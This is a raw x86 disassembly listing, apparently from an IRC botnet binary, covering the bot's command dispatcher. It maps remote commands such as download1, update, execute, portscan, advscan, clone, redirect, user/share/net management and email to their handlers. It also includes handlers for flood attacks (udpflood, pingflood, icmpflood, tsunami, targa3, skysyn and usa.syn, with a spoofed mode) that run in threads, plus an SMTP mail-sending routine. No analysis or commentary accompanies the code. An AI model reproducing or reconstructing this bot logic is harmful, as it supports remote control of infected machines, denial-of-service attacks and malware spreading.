pop ecx
test eax, eax
pop ecx
jnz short loc_405954
push 2
call sub_40AA45
test eax, eax
pop ecx
jle short loc_4058F7
push offset dword_443514
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_4058F7: ; CODE XREF: sub_401CC1+3C2Aj
lea eax, [ebp+var_2C0]
push offset dword_443534
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 2
push eax
call sub_40A7FD
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_40FD11
push ebx
push ebx
call dword_4F1338 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4537DC[esi], eax
jnz loc_407C2F
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_443560
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_405954: ; CODE XREF: sub_401CC1+3C1Ej
push edi
push offset aOff_2 ; "off"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_407C2F
push ebx
push 2
call sub_40A9F8
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405982
push eax
push offset dword_443598
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_405982: ; CODE XREF: sub_401CC1+3CB4j
push offset dword_4435D0
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_40598C: ; CODE XREF: sub_401CC1+3C09j
push [ebp+arg_10]
push offset aNet_0 ; "net"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405C78
cmp dword_4E096C, ebx
jz short loc_4059BD
cmp dword_4E0994, ebx
jz short loc_4059BD
push offset unk_44376C
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_4059BD: ; CODE XREF: sub_401CC1+3CE8j
; sub_401CC1+3CF0j
cmp [ebp+var_C], ebx
jz loc_406693
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_4059E5
push eax
push [ebp+var_C]
call sub_41B890
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_4059E5: ; CODE XREF: sub_401CC1+3D14j
push edi
push offset aStart ; "start"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405A4B
cmp [ebp+arg_18], ebx
jz short loc_405A1F
push [ebp+arg_0]
push 3
call sub_4165F2
push eax
push offset aS_1 ; "%s"
loc_405A0B: ; CODE XREF: sub_401CC1+3DABj
; sub_401CC1+3DCEj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 14h
jmp loc_406693
; ---------------------------------------------------------------------------
loc_405A1F: ; CODE XREF: sub_401CC1+3D38j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416899
add esp, 0Ch
test eax, eax
jz short loc_405A41
push offset unk_443600
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405A41: ; CODE XREF: sub_401CC1+3D74j
push offset unk_443624
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405A4B: ; CODE XREF: sub_401CC1+3D33j
push edi
push offset aStop ; "stop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405A6E
push [ebp+arg_0]
push 4
call sub_4165F2
push eax
push offset aS_2 ; "%s"
jmp short loc_405A0B
; ---------------------------------------------------------------------------
loc_405A6E: ; CODE XREF: sub_401CC1+3D99j
push edi
push offset aPause ; "pause"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405A94
push [ebp+arg_0]
push 5
call sub_4165F2
push eax
push offset aS_3 ; "%s"
jmp loc_405A0B
; ---------------------------------------------------------------------------
loc_405A94: ; CODE XREF: sub_401CC1+3DBCj
push edi
push offset aContinue ; "continue"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405ABA
push [ebp+arg_0]
push 6
call sub_4165F2
push eax
push offset aS_4 ; "%s"
jmp loc_405A0B
; ---------------------------------------------------------------------------
loc_405ABA: ; CODE XREF: sub_401CC1+3DE2j
push edi
push offset aDelete_0 ; "delete"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405AE0
push [ebp+arg_0]
push 1
call sub_4165F2
push eax
push offset aS_5 ; "%s"
jmp loc_405A0B
; ---------------------------------------------------------------------------
loc_405AE0: ; CODE XREF: sub_401CC1+3E08j
push edi
push offset aShare ; "share"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405B68
cmp [ebp+arg_18], ebx
jz short loc_405B3B
cmp [ebp+var_8FC], bl
jz short loc_405B11
push ebx
push [ebp+arg_18]
push 1
call sub_4169D6
push eax
push offset aS_6 ; "%s"
jmp short loc_405B27
; ---------------------------------------------------------------------------
loc_405B11: ; CODE XREF: sub_401CC1+3E3Bj
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
call sub_4169D6
push eax
push offset aS_7 ; "%s"
loc_405B27: ; CODE XREF: sub_401CC1+3E4Ej
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 18h
jmp loc_406693
; ---------------------------------------------------------------------------
loc_405B3B: ; CODE XREF: sub_401CC1+3E33j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416BCB
add esp, 10h
test eax, eax
jz short loc_405B5E
push offset unk_443688
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405B5E: ; CODE XREF: sub_401CC1+3E91j
push offset unk_4436AC
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405B68: ; CODE XREF: sub_401CC1+3E2Ej
push edi
push offset aUser ; "user"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405C20
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_405BF3
cmp [ebp+var_8FC], bl
jz short loc_405BA9
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
call sub_416CEC
push eax
push offset aS_8 ; "%s"
jmp short loc_405BDF
; ---------------------------------------------------------------------------
loc_405BA9: ; CODE XREF: sub_401CC1+3EC9j
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_405BD0
push esi
push eax
push ebx
call sub_416CEC
push eax
push offset aS_9 ; "%s"
jmp short loc_405BDF
; ---------------------------------------------------------------------------
loc_405BD0: ; CODE XREF: sub_401CC1+3EFDj
push ebx
push eax
push 2
call sub_416CEC
push eax
push offset aS_10 ; "%s"
loc_405BDF: ; CODE XREF: sub_401CC1+3EE6j
; sub_401CC1+3F0Dj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 24h
jmp loc_406693
; ---------------------------------------------------------------------------
loc_405BF3: ; CODE XREF: sub_401CC1+3EC1j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_417200
add esp, 10h
test eax, eax
jz short loc_405C16
push offset unk_4436E0
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405C16: ; CODE XREF: sub_401CC1+3F49j
push offset unk_443700
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405C20: ; CODE XREF: sub_401CC1+3EB6j
push edi
push offset aSend ; "send"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_405C6E
cmp [ebp+arg_18], ebx
jz short loc_405C64
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4174B4
push eax
lea eax, [ebp+var_2C0]
push offset aS_11 ; "%s"
push eax
call sub_41B740
add esp, 1Ch
jmp loc_406693
; ---------------------------------------------------------------------------
loc_405C64: ; CODE XREF: sub_401CC1+3F73j
push offset unk_44372C
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405C6E: ; CODE XREF: sub_401CC1+3F6Ej
push offset unk_443750
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_405C78: ; CODE XREF: sub_401CC1+3CDCj
push [ebp+arg_10]
push offset aGethost ; "gethost"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408574
push [ebp+arg_10]
push offset aGh ; "gh"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408574
loc_405CA6: ; CODE XREF: sub_401CC1+3714j
; sub_401CC1+374Aj ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40207C
push [ebp+arg_10]
push offset aKilllog ; "killlog"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40855A
push [ebp+arg_10]
push offset aKl ; "kl"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40855A
push [ebp+arg_10]
push offset aAddalias ; "addalias"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40851B
push [ebp+arg_10]
push offset aAa ; "aa"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40851B
push [ebp+arg_10]
push offset aPrivmsg_1 ; "privmsg"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4084C5
push [ebp+arg_10]
push offset aPm ; "pm"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4084C5
push [ebp+arg_10]
push offset aAction ; "action"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_10]
push offset aA ; "a"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_10]
push offset aCycle ; "cycle"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4083F1
push [ebp+arg_10]
push offset aCy ; "cy"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4083F1
push [ebp+arg_10]
push offset aMode_0 ; "mode"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4083B5
push [ebp+arg_10]
push offset aM ; "m"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4083B5
push [ebp+arg_10]
push offset aC_raw ; "c_raw"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40834A
push [ebp+arg_10]
push offset aC_r ; "c_r"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40834A
push [ebp+arg_10]
push offset aC_mode ; "c_mode"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4082C8
push [ebp+arg_10]
push offset aC_m ; "c_m"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4082C8
push [ebp+arg_10]
push offset aC_nick ; "c_nick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40825A
push [ebp+arg_10]
push offset aC_n ; "c_n"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40825A
push [ebp+arg_10]
push offset aC_join ; "c_join"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40820E
push [ebp+arg_10]
push offset aC_j ; "c_j"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40820E
push [ebp+arg_10]
push offset aC_part ; "c_part"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4081AE
push [ebp+arg_10]
push offset aC_p ; "c_p"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4081AE
push [ebp+arg_10]
push offset aTarga3 ; "targa3"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4080DC
push [ebp+arg_10]
push offset aT3 ; "t3"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4080DC
push [ebp+arg_10]
push offset aTsunami ; "tsunami"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407FE4
push [ebp+arg_10]
push offset aTsn ; "tsn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407FE4
push [ebp+arg_10]
push offset aRepeat ; "repeat"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407F0F
push [ebp+arg_10]
push offset aRp ; "rp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407F0F
push [ebp+arg_10]
push offset aDelay ; "delay"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407E74
push [ebp+arg_10]
push offset aDe ; "de"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407E74
push [ebp+arg_10]
push offset aUpdate ; "update"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407CEB
push [ebp+arg_10]
push offset aU11p ; "u11p"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407CEB
push [ebp+arg_10]
push offset aExecute ; "execute"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407C58
push [ebp+arg_10]
push offset aE ; "e"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407C58
push [ebp+arg_10]
push offset aRename ; "rename"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407BE3
push [ebp+arg_10]
push offset aMv ; "mv"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407BE3
push [ebp+arg_10]
push offset aIcmpflood ; "icmpflood"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407AEC
push [ebp+arg_10]
push offset aIcmp ; "icmp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407AEC
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40207C
push [ebp+arg_10]
push offset aClone_0 ; "clone"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407A04
push [ebp+arg_10]
push offset aC ; "c"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407A04
push [ebp+arg_10]
push offset aUsa_syn ; "usa.syn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40790B
push [ebp+arg_10]
push offset aUsa_ack ; "usa.ack"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40790B
push [ebp+arg_10]
push offset aUsa_rm ; "usa.rm"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40790B
push [ebp+arg_10]
push offset aWis_u ; "wis.u"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40618B
push 7Fh
lea eax, [ebp+var_2978]
pop esi
push esi
push edi
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_28F8]
push [ebp+arg_18]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2878]
push [ebp+arg_0]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_27F8]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2770], eax
push ebx
lea eax, [ebp+var_2C0]
push 13h
push eax
mov [ebp+var_2774], edi
mov [ebp+var_297C], esi
call sub_40A7FD
add esp, 3Ch
mov [ebp+var_2778], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_297C]
push ebx
push eax
push offset sub_413A92
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_2778]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40617A
loc_406164: ; CODE XREF: sub_401CC1+44B7j
cmp [ebp+var_276C], ebx
jnz loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_406164
; ---------------------------------------------------------------------------
loc_40617A: ; CODE XREF: sub_401CC1+44A1j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443EBC
jmp loc_403ABD
; ---------------------------------------------------------------------------
loc_40618B: ; CODE XREF: sub_401CC1+43F7j
push [ebp+arg_10]
push offset aSfnfff ; "sfnfff"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407823
push [ebp+arg_10]
push offset aSy1 ; "sy1"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407823
push [ebp+arg_10]
push offset aSkysyn ; "skysyn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_4062B8
push 7Fh
lea eax, [ebp+var_2764]
pop esi
push esi
push edi
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_26E4]
push [ebp+arg_18]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2664]
push [ebp+arg_0]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_25E4]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_2560], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_255C], eax
lea eax, [ebp+var_2C0]
push edi
push offset dword_443F78
push eax
mov [ebp+var_2768], esi
call sub_41B740
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 10h
push eax
call sub_40A7FD
add esp, 0Ch
mov [ebp+var_2564], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2768]
push ebx
push eax
push offset sub_4129F7
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_2564]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4062A7
loc_406291: ; CODE XREF: sub_401CC1+45E4j
cmp [ebp+var_2558], ebx
jnz loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_406291
; ---------------------------------------------------------------------------
loc_4062A7: ; CODE XREF: sub_401CC1+45CEj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_443FA8
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4062B8: ; CODE XREF: sub_401CC1+4509j
push [ebp+arg_10]
push offset aPhatwonk ; "phatwonk"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40773B
push [ebp+arg_10]
push offset aWonk ; "wonk"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40773B
push [ebp+arg_10]
push offset aDownload1 ; "download1"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407600
push [ebp+arg_10]
push offset aD1 ; "d1"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407600
push [ebp+arg_10]
push offset aRedirect ; "redirect"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407506
push [ebp+arg_10]
push offset aRd ; "rd"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407506
push [ebp+arg_10]
push offset aScan ; "scan"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407413
push [ebp+arg_10]
push offset aSc ; "sc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407413
push [ebp+arg_10]
push offset aC_privmsg ; "c_privmsg"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40733E
push [ebp+arg_10]
push offset aC_pm ; "c_pm"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40733E
push [ebp+arg_10]
push offset aC_action ; "c_action"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40722C
push [ebp+arg_10]
push offset aC_a ; "c_a"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40722C
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz loc_40207C
push [ebp+arg_10]
push offset aPortscan ; "portscan"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407126
push [ebp+arg_10]
push offset aPsc ; "psc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407126
push [ebp+arg_10]
push offset aAdvscan ; "advscan"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406C4E
push [ebp+arg_10]
push offset aVvv ; "vvv"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406C4E
push [ebp+arg_10]
push offset aUdpflood ; "udpflood"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406B08
push [ebp+arg_10]
push offset aPu1 ; "pu1"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406B08
push [ebp+arg_10]
push offset aU ; "u"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406B08
push [ebp+arg_10]
push offset aNetsend ; "netsend"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4069FA
push [ebp+arg_10]
push offset aNs ; "ns"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4069FA
push [ebp+arg_10]
push offset aPingflood ; "pingflood"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4068D3
push [ebp+arg_10]
push offset aPing_0 ; "ping"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4068D3
push [ebp+arg_10]
push offset aP ; "p"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4068D3
push [ebp+arg_10]
push offset aTfpff ; "tfpff"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406723
push [ebp+arg_10]
push offset aUsa ; "usa"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_406723
push [ebp+arg_10]
push offset aEmail ; "email"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_4066CB
lea eax, [ebp+var_4150]
push edi
push eax
call sub_41C300
push [ebp+arg_18]
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_36E8]
push eax
call sub_41C300
push [ebp+arg_1C]
lea eax, [ebp+var_35E8]
push eax
call sub_41C300
push offset asc_44477C ; " "
push offset a__0 ; "_"
push [ebp+esi+var_7C]
call sub_415C6E
push eax
lea eax, [ebp+var_34E8]
push eax
call sub_41C300
add esp, 30h
lea eax, [ebp+var_46E8]
push eax
push 101h
call dword_4E081C
lea eax, [ebp+var_4150]
push eax
call dword_4E0920
push 6
push 1
push 2
mov edi, eax
call dword_4E091C
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4E08A0
mov [ebp+var_31A], ax
lea eax, [ebp+var_34E8]
push eax
lea eax, [ebp+var_36E8]
push eax
lea eax, [ebp+var_34E8]
push eax
lea eax, [ebp+var_35E8]
push eax
lea eax, [ebp+var_36E8]
push eax
lea eax, [ebp+var_4AE8]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B740
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4E084C
mov edi, 100h
push ebx
lea eax, [ebp+var_37E8]
push edi
push eax
push esi
call dword_4E08B8
lea eax, [ebp+var_37E8]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_4AE8]
push eax
push esi
call dword_4E08EC
push ebx
lea eax, [ebp+var_37E8]
push edi
push eax
push esi
call dword_4E08B8
push esi
call dword_4E0934
call dword_4E0804
lea eax, [ebp+var_35E8]
push eax
push offset unk_4447D0
loc_406684: ; CODE XREF: sub_401CC1+5E26j
; sub_401CC1+6025j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
loc_406690: ; CODE XREF: sub_401CC1+1FD7j
add esp, 0Ch
loc_406693: ; CODE XREF: sub_401CC1+3CFFj
; sub_401CC1+3D59j ...
cmp [ebp+var_8], ebx
jnz short loc_4066B4
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_4066B4: ; CODE XREF: sub_401CC1+24ECj
; sub_401CC1+2517j ...
mov esi, [ebp+arg_24]
loc_4066B7: ; CODE XREF: sub_401CC1+5F92j
; sub_401CC1+6B67j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
pop ecx
mov eax, esi
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_4066CB: ; CODE XREF: sub_401CC1+486Dj
push [ebp+arg_10]
push offset aHttpcon ; "httpcon"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4066F5
push [ebp+arg_10]
push offset aHcon ; "hcon"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_406CA0
loc_4066F5: ; CODE XREF: sub_401CC1+4A1Bj
push [ebp+esi+var_7C]
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41B3F0
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40FBF0
jmp loc_408C9E
; ---------------------------------------------------------------------------
loc_406723: ; CODE XREF: sub_401CC1+483Fj
; sub_401CC1+4856j
mov esi, 80h
push edi
lea eax, [ebp+var_1100]
push esi
push eax
call sub_41B910
lea eax, [ebp+var_1100]
push eax
push offset aSyn ; "syn"
call sub_41C4C0
add esp, 14h
test eax, eax
jz short loc_406786
lea eax, [ebp+var_1100]
push eax
push offset aAck ; "ack"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_406786
lea eax, [ebp+var_1100]
push eax
push offset aRandom_0 ; "random"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_406786
push offset unk_444748
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_406786: ; CODE XREF: sub_401CC1+4A8Bj
; sub_401CC1+4AA2j ...
push [ebp+arg_1C]
call sub_41B3F0
cmp eax, ebx
pop ecx
mov [ebp+var_FF8], eax
jle loc_4068BB
push edi
lea eax, [ebp+var_1100]
push esi
push eax
call sub_41B910
push [ebp+arg_18]
lea eax, [ebp+var_1180]
push esi
push eax
call sub_41B910
push [ebp+arg_0]
call sub_41B3F0
mov [ebp+var_FFC], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_FF4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1184], eax
lea eax, [ebp+var_1080]
push esi
push eax
call sub_41B910
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_FF4], ebx
mov [ebp+var_FF0], eax
mov eax, [ebp+var_8]
mov [ebp+var_FEC], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40681D
mov eax, offset aNormal ; "Normal"
loc_40681D: ; CODE XREF: sub_401CC1+4B55j
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_4446A4
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
push ebx
lea eax, [ebp+var_2C0]
push 14h
push eax
call sub_40A7FD
add esp, 2Ch
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1184]
push ebx
push eax
push offset sub_4131FE
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40689B
loc_406885: ; CODE XREF: sub_401CC1+4BD8j
cmp [ebp+var_FE8], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_406885
; ---------------------------------------------------------------------------
loc_40689B: ; CODE XREF: sub_401CC1+4BC2j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4446D8
loc_4068A7: ; CODE XREF: sub_401CC1+1C8Aj
; sub_401CC1+2925j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
loc_4068B3: ; CODE XREF: sub_401CC1+4D34j
add esp, 0Ch
jmp loc_407C2F
; ---------------------------------------------------------------------------
loc_4068BB: ; CODE XREF: sub_401CC1+4AD6j
push offset unk_444710
loc_4068C0: ; CODE XREF: sub_401CC1+1B53j
; sub_401CC1+1B69j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
pop ecx
pop ecx
jmp loc_407C2F
; ---------------------------------------------------------------------------
loc_4068D3: ; CODE XREF: sub_401CC1+47FAj
; sub_401CC1+4811j ...
cmp dword_4E098C, ebx
jnz loc_4069DF
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_DA0], eax
mov eax, [ebp+var_4]
mov [ebp+var_DA4], eax
lea eax, [ebp+var_E38]
push edi
push eax
call sub_41B1F0
push [ebp+arg_18]
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+var_DB8], eax
call sub_41B3F0
push [ebp+arg_1C]
mov [ebp+var_DB4], eax
call sub_41B3F0
push 7Fh
mov [ebp+var_DB0], eax
push [ebp+var_88]
lea eax, [ebp+var_EB8]
push eax
call sub_41B1F0
push [ebp+var_DB0]
mov eax, [ebp+arg_4]
mov [ebp+var_EBC], eax
lea eax, [ebp+var_E38]
push [ebp+var_DB4]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_DB8]
push offset unk_4445E0
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 16h
push eax
call sub_40A7FD
add esp, 48h
mov [ebp+var_DA8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EBC]
push ebx
push eax
push offset sub_412655
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_DA8]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4069CE
loc_4069B8: ; CODE XREF: sub_401CC1+4D0Bj
cmp [ebp+var_D9C], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4069B8
; ---------------------------------------------------------------------------
loc_4069CE: ; CODE XREF: sub_401CC1+4CF5j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_444628
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_4069DF: ; CODE XREF: sub_401CC1+4C18j
push 1FFh
lea eax, [ebp+var_2C0]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B1F0
jmp loc_4068B3
; ---------------------------------------------------------------------------
